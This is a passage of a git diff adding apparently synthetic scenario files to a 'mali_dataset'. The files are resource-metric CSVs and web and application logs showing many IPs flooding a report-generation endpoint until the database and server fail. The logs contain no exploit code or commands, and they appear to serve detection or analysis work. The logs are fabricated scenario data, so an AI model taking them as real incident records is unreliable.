+2025-08-29T15:37:05Z,100.00,93.83,95.34,32.84 +2025-08-29T15:37:10Z,100.00,94.01,95.88,36.23 +2025-08-29T15:37:15Z,100.00,94.23,96.12,34.17 +2025-08-29T15:37:20Z,100.00,94.51,96.58,37.03 +2025-08-29T15:37:25Z,100.00,94.78,96.99,35.29 +2025-08-29T15:37:30Z,100.00,94.99,97.31,38.15 +2025-08-29T15:37:35Z,100.00,95.15,97.65,36.47 +2025-08-29T15:37:40Z,100.00,95.32,97.89,39.22 +2025-08-29T15:37:45Z,100.00,95.48,98.12,37.11 +2025-08-29T15:37:50Z,100.00,95.63,98.34,40.09 +2025-08-29T15:37:55Z,100.00,95.77,98.53,38.24 +2025-08-29T15:38:00Z,100.00,95.89,98.67,41.13 +2025-08-29T15:38:05Z,100.00,96.01,98.82,39.35 +2025-08-29T15:38:10Z,100.00,96.12,98.95,42.21 +2025-08-29T15:38:15Z,100.00,96.23,99.01,40.18 +2025-08-29T15:38:20Z,100.00,96.34,99.08,43.07 +2025-08-29T15:38:25Z,100.00,96.45,99.15,41.29 +2025-08-29T15:38:30Z,100.00,96.56,99.21,44.11 +2025-08-29T15:38:35Z,100.00,96.67,99.28,42.34 +2025-08-29T15:38:40Z,100.00,96.78,99.34,45.09 +2025-08-29T15:38:45Z,100.00,96.89,99.41,43.51 +2025-08-29T15:38:50Z,100.00,97.00,99.47,46.12 +2025-08-29T15:38:55Z,100.00,97.11,99.52,44.28 +2025-08-29T15:39:00Z,100.00,97.22,99.58,47.03 +2025-08-29T15:39:05Z,100.00,97.33,99.63,45.39 +2025-08-29T15:39:10Z,100.00,97.44,99.68,48.14 +2025-08-29T15:39:15Z,100.00,97.55,99.72,46.21 +2025-08-29T15:39:20Z,100.00,97.66,99.76,49.06 +2025-08-29T15:39:25Z,100.00,97.77,99.80,47.33 +2025-08-29T15:39:30Z,100.00,97.88,99.83,50.18 +2025-08-29T15:39:35Z,100.00,97.99,99.86,48.19 +2025-08-29T15:39:40Z,100.00,98.10,99.89,51.23 +2025-08-29T15:39:45Z,100.00,98.21,99.91,49.37 +2025-08-29T15:39:50Z,100.00,98.32,99.93,52.01 +2025-08-29T15:39:55Z,100.00,98.43,99.95,50.45 +2025-08-29T15:40:00Z,100.00,98.54,99.96,53.17 +2025-08-29T15:40:05Z,100.00,98.65,99.97,51.26 +2025-08-29T15:40:10Z,100.00,98.76,99.98,54.33 +2025-08-29T15:40:15Z,100.00,98.87,99.99,52.38 +2025-08-29T15:40:20Z,100.00,98.98,99.99,55.19 +2025-08-29T15:40:25Z,100.00,99.09,99.99,53.47 +2025-08-29T15:40:30Z,100.00,99.20,99.99,56.24 +2025-08-29T15:40:35Z,100.00,99.31,99.99,54.55 +2025-08-29T15:40:40Z,100.00,99.42,99.99,57.13 +2025-08-29T15:40:45Z,100.00,99.53,99.99,55.62 +2025-08-29T15:40:50Z,100.00,99.64,99.99,58.05 +2025-08-29T15:40:55Z,100.00,99.75,99.99,56.78 +2025-08-29T15:41:00Z,100.00,99.86,99.99,59.14 +2025-08-29T15:41:05Z,100.00,99.97,99.99,57.88 +2025-08-29T15:41:10Z,100.00,99.99,99.99,60.23 +2025-08-29T15:41:15Z,100.00,99.99,99.99,58.91 +2025-08-29T15:41:20Z,100.00,99.99,99.99,61.35 +2025-08-29T15:41:25Z,100.00,99.99,99.99,59.87 +2025-08-29T15:41:30Z,100.00,99.99,99.99,62.46 +2025-08-29T15:41:35Z,100.00,99.99,99.99,60.94 +2025-08-29T15:41:40Z,100.00,99.99,99.99,63.57 +2025-08-29T15:41:45Z,100.00,99.99,99.99,61.88 +2025-08-29T15:41:50Z,100.00,99.99,99.99,64.71 +2025-08-29T15:41:55Z,100.00,99.99,99.99,62.99 +2025-08-29T15:42:00Z,100.00,99.99,99.99,65.83 +2025-08-29T15:42:05Z,100.00,99.99,99.99,64.12 +2025-08-29T15:42:10Z,100.00,99.99,99.99,66.95 +2025-08-29T15:42:15Z,100.00,99.99,99.99,65.34 +2025-08-29T15:42:20Z,100.00,99.99,99.99,68.08 +2025-08-29T15:42:25Z,100.00,99.99,99.99,66.71 \ No newline at end of file diff --git a/mali_dataset/scenario_12/mali_12_1.log b/mali_dataset/scenario_12/mali_12_1.log new file mode 100644 index 0000000000000000000000000000000000000000..0a931b74ad629259a2174f0561896e7111cd93f4 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_1.log @@ -0,0 +1,71 @@ +[2025-08-29 15:35:01,241] app-server: INFO: User 'alex' logged in successfully from 192.168.1.10 +192.168.1.10 - - [29/Aug/2025:15:35:03 +0000] "GET /dashboard HTTP/1.1" 200 4582 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +198.51.100.2 - - [29/Aug/2025:15:35:08 +0000] "GET /products/item?id=123 HTTP/1.1" 200 2109 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +[2025-08-29 15:35:12,812] postgres-db: LOG: connection received: host=172.17.0.3 port=5432 +[2025-08-29 15:35:13,102] postgres-db: LOG: connection authorized: user=webapp database=production +[2025-08-29 15:35:18,450] app-server: INFO: Processing order #8841 for user 'alex' +203.0.113.55 - - [29/Aug/2025:15:35:22 +0000] "GET / HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +192.168.1.10 - - [29/Aug/2025:15:35:41 +0000] "GET /api/v1/user/profile HTTP/1.1" 200 512 "-" "axios/0.21.1" +[2025-08-29 15:35:58,992] app-server: INFO: Health check endpoint /health returned 200 OK. +[2025-08-29 15:36:06,123] app-server: WARNING: High latency detected on upstream service 'payment-gateway' +185.191.171.12 - - [29/Aug/2025:15:36:08 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 200 812 "-" "Python/3.8 aiohttp/3.7.4" +45.14.225.45 - - [29/Aug/2025:15:36:09 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 200 812 "-" "Go-http-client/1.1" +103.146.184.21 - - [29/Aug/2025:15:36:09 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 200 812 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +89.248.168.37 - - [29/Aug/2025:15:36:10 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 200 812 "-" "curl/7.68.0" +[2025-08-29 15:36:11,501] postgres-db: LOG: duration: 3105.112 ms statement: SELECT * FROM sales JOIN customers ON sales.customer_id = customers.id WHERE sales_date > '2024-01-01' AND sales_date < '2024-12-31' ORDER BY total_amount DESC; +194.32.120.100 - - [29/Aug/2025:15:36:12 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 200 812 "-" "Python/3.9 requests/2.25.1" +[2025-08-29 15:36:14,221] app-server: ERROR: Maximum execution time of 30 seconds exceeded in /var/www/html/src/ReportGenerator.php on line 152 +212.102.40.133 - - [29/Aug/2025:15:36:14 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 504 182 "-" "Wget/1.20.3 (linux-gnu)" +[2025-08-29 15:36:15,845] postgres-db: FATAL: remaining connection slots are reserved for non-replication superuser connections +[2025-08-29 15:36:16,112] app-server: CRITICAL: Uncaught PDOException: SQLSTATE[08006] [7] could not connect to server: Connection refused +5.188.210.101 - - [29/Aug/2025:15:36:16 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Java/1.8.0_292" +146.70.81.12 - - [29/Aug/2025:15:36:17 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Ruby" +91.241.19.183 - - [29/Aug/2025:15:36:18 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Mozilla/5.0 (X11; Linux x86_64)" +[2025-08-29 15:36:20,051] app-server: ERROR: Database connection timeout +179.43.170.218 - - [29/Aug/2025:15:36:21 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)" +107.178.232.25 - - [29/Aug/2025:15:36:22 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "cpp-httplib/0.9" +[2025-08-29 15:36:24,312] postgres-db: ERROR: connection limit reached for non-superusers +[2025-08-29 15:36:28,451] app-server: ERROR: Connection pool exhausted +195.133.144.17 - - [29/Aug/2025:15:36:29 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Perl/5.32.1" +79.110.62.217 - - [29/Aug/2025:15:36:30 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Mozilla/5.0" +[2025-08-29 15:36:31,998] postgres-db: LOG: duration: 8150.432 ms statement: SELECT c.name, COUNT(o.id) as order_count, SUM(o.total) as total_spent FROM customers c JOIN orders o ON c.id = o.customer_id GROUP BY c.name ORDER BY total_spent DESC LIMIT 100; +188.225.35.152 - - [29/Aug/2025:15:36:33 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 504 182 "-" "Apache-HttpClient/4.5.13 (Java/11.0.11)" +46.8.21.144 - - [29/Aug/2025:15:36:34 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 504 182 "-" "Go-http-client/2.0" +[2025-08-29 15:36:40,111] app-server: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 193.201.224.8, server: example.com, request: "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1", upstream: "http://127.0.0.1:8080/api/v1/reports/generate", host: "example.com" +217.138.212.13 - - [29/Aug/2025:15:36:42 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 504 182 "-" "Rust/reqwest" +192.168.1.10 - - [29/Aug/2025:15:36:45 +0000] "GET /dashboard HTTP/1.1" 503 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +[2025-08-29 15:36:51,333] postgres-db: WARNING: worker process (PID 12345) was terminated by signal 9: Killed +[2025-08-29 15:36:59,012] postgres-db: LOG: all server processes terminated; reinitializing +185.191.171.12 - - [29/Aug/2025:15:37:05 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Python/3.8 aiohttp/3.7.4" +45.14.225.45 - - [29/Aug/2025:15:37:15 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Go-http-client/1.1" +103.146.184.21 - - [29/Aug/2025:15:37:25 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +89.248.168.37 - - [29/Aug/2025:15:37:35 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "curl/7.68.0" +194.32.120.100 - - [29/Aug/2025:15:37:45 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Python/3.9 requests/2.25.1" +212.102.40.133 - - [29/Aug/2025:15:37:55 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Wget/1.20.3 (linux-gnu)" +5.188.210.101 - - [29/Aug/2025:15:38:05 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 503 211 "-" "Java/1.8.0_292" +[2025-08-29 15:38:10,012] app-server: CRITICAL: Service shutting down due to OOM killer. +146.70.81.12 - - [29/Aug/2025:15:38:15 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 500 150 "-" "Ruby" +91.241.19.183 - - [29/Aug/2025:15:38:25 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 500 150 "-" "Mozilla/5.0 (X11; Linux x86_64)" +179.43.170.218 - - [29/Aug/2025:15:38:35 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 500 150 "-" "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)" +107.178.232.25 - - [29/Aug/2025:15:38:45 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 500 150 "-" "cpp-httplib/0.9" +[2025-08-29 15:38:50,910] app-server: INFO: Restarting application server process. +195.133.144.17 - - [29/Aug/2025:15:38:55 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Perl/5.32.1" +79.110.62.217 - - [29/Aug/2025:15:39:05 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Mozilla/5.0" +188.225.35.152 - - [29/Aug/2025:15:39:15 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Apache-HttpClient/4.5.13 (Java/11.0.11)" +46.8.21.144 - - [29/Aug/2025:15:39:25 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Go-http-client/2.0" +193.201.224.8 - - [29/Aug/2025:15:39:35 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "okhttp/4.9.1" +217.138.212.13 - - [29/Aug/2025:15:39:45 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Rust/reqwest" +198.51.100.2 - - [29/Aug/2025:15:39:58 +0000] "GET /products/item?id=456" 503 211 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +[2025-08-29 15:40:10,241] app-server: INFO: User 'jane' login failed from 203.0.113.55 +[2025-08-29 15:40:30,555] postgres-db: FATAL: the database system is shutting down +185.191.171.12 - - [29/Aug/2025:15:40:40 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Python/3.8 aiohttp/3.7.4" +45.14.225.45 - - [29/Aug/2025:15:40:50 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Go-http-client/1.1" +103.146.184.21 - - [29/Aug/2025:15:41:00 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +89.248.168.37 - - [29/Aug/2025:15:41:10 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "curl/7.68.0" +194.32.120.100 - - [29/Aug/2025:15:41:20 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Python/3.9 requests/2.25.1" +212.102.40.133 - - [29/Aug/2025:15:41:30 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Wget/1.20.3 (linux-gnu)" +5.188.210.101 - - [29/Aug/2025:15:41:40 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Java/1.8.0_292" +146.70.81.12 - - [29/Aug/2025:15:41:50 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Ruby" +91.241.19.183 - - [29/Aug/2025:15:42:00 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "Mozilla/5.0 (X11; Linux x86_64)" +179.43.170.218 - - [29/Aug/2025:15:42:10 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)" +107.178.232.25 - - [29/Aug/2025:15:42:20 +0000] "GET /api/v1/reports/generate?type=full&start_date=2024-01-01&end_date=2024-12-31 HTTP/1.1" 502 166 "-" "cpp-httplib/0.9" \ No newline at end of file diff --git a/mali_dataset/scenario_12/mali_12_2.csv b/mali_dataset/scenario_12/mali_12_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c79a87214171728ebfa04d55739ca983b183b16 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,17.16,42.34,33.14,1.39,1.47 +2025-08-15T10:00:05Z,29.26,40.49,38.97,0.9,0.83 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/api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:04:30 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:04:30 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:05:45 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:06:35 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.101.66 - - [15/Aug/2025:10:06:40 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:02:50 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:03:00 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:03:15 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:03:30 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:05:10 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:06:20 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:07:15 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.102.72 - - [15/Aug/2025:10:07:15 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:02:30 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:03:25 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:03:40 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:04:25 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:04:35 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:04:55 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:05:05 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:05:15 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:05:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:05:55 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:06:00 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:07:00 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.104.67 - - [15/Aug/2025:10:07:05 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:02:35 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:03:05 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:03:10 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:03:15 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:03:45 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:04:15 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:04:20 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:04:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:04:45 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:05:25 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:06:20 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:06:40 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:06:55 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.106.94 - - [15/Aug/2025:10:07:15 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:30 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:40 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:50 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:02:55 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:04:30 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:05:15 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:05:50 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:06:10 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:06:15 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:07:10 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.11.121 - - [15/Aug/2025:10:07:10 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:02:30 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:03:35 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:05:20 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:05:20 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:05:40 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 504 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:06:05 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:06:55 +0000] "POST /api/v1/reports/generate?type=inventory_deep_dive&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.110.129 - - [15/Aug/2025:10:07:00 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.112.124 - - [15/Aug/2025:10:03:05 +0000] "POST /api/v1/reports/generate?type=financial&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.112.124 - - [15/Aug/2025:10:03:05 +0000] "POST /api/v1/reports/generate?type=sales_performance&range=last_year HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." +188.163.112.124 - - [15/Aug/2025:10:04:20 +0000] "POST /api/v1/reports/generate?type=user_analytics&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.112.124 - - [15/Aug/2025:10:04:35 +0000] "POST /api/v1/reports/generate?type=quarterly_summary&range=last_year HTTP/1.1" 503 1234 "-" "Mozilla/5.0 ..." +188.163.112.124 - - 